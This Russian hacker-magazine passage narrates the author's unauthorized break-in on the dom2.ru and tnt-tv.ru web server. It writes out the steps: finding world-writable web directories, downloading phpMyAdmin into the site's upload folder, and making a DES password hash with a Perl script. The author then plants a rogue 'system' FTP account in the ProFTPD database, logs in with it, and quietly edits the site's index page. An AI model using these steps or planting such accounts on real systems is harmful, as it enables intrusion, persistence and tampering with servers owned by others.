Тотальный дестрой “Дома 2” GreenwooD Хакер, номер #076, стр. 076-068-6 Однако если устанавливать PhpMyAdmin в текущую директорию, все файлы с расширением php придется переименовать, чтобы сервер выполнил их (это я описывал выше). Меня такой расклад не устраивал. Тогда я решил поискать другие директории, в которые мой пользователь имеет право записывать файлы. Так же важным условием было, чтобы директория находились в доступном из интернета месте. Чтобы найти такие директории я ввел команду find /data/www/ -perm -2 –ls, после чего увидел семь подходящих директорий. Выбрав одну из них, я ввел следующую команду: сd /data/www/dom2/upload; fetch http://heanet.dl.sourceforge.net/sourceforge/phpmyadmin/phpMyAdmin-2.6.1.tar.gz. Через некоторое время в директорию загрузился PhpMyAdmin. Затем я распаковал архив командой tar –zxf /data/www/dom2/upload/phpMyAdmin-2.6.1.tar.gz. Все успешно распаковалось, теперь осталось только подредактировать скрипт config.php, что я и сделал. Зайдя по ссылке http://dom2.ru/upload/phpMyAdmin-2.6.1 я попал в интерфейс работы с базой данных. Теперь у меня имелась возможность с базой творить все, что угодно. Я выбрал таблицу users и нажал на ссылку добавления записи. Мне надо было заполнить все поля: имя пользователя, хеш пароля, uid, gid, домашний каталог и командный интерпретатор. Как я помнил, ProFTPD хранит в базе хэши, закриптованные алгоритмом DES. Мне стало необходимо получить хеш от слова, чтобы добавить нового пользователя. Для этого я написал небольшой скриптик на перле: #!/usr/bin/perl $a = crypt("$ARGV[0]",""); print "Crypted word - $a\n"; Затем, запустив его с параметром nst, я получил хэш AAHQJUsMCAa4U и затем заполнил поля следующим образом: system, AAHQJUsMCAa4U, 5000, 5000, /data/www, /dev/null. После чего нажал на кнопку “Добавить” и строка успешно добавилась в таблицу. В качестве uid я использовал значение 5000 т.к. именно этот пользователь владел всеми файлами и директориями в каталоге /data/www. Для того, что бы залогиниться по FTP, я воспользовался FTP гейтом web2ftp.com. Введя в качестве логина слово system, а пароля - nst, я залогинился на FTP сервер сайта www.tnt-tv.ru. В этом сервисе что-то косо работал английский язык, поэтому все было на немецком. Немного разобравшись, что есть что (в школе я изучал английский) нужно было проверить, обладаю ли я соответствующими правами. Для этого я открыл во внутреннем редакторе файл index.phtml и слегка его модифицировал, что бы не привлекать внимание. Затем открыл в браузере сайт dom2.ru – действительно, все модифицировалось как надо. С этими правами я мог пропатчить форум от бага. Для этого я открыл файл viewtopic.php и немого его модифицировал. Затем проверил, работает ли ошибка: теперь форум фильтровал все запросы как надо. |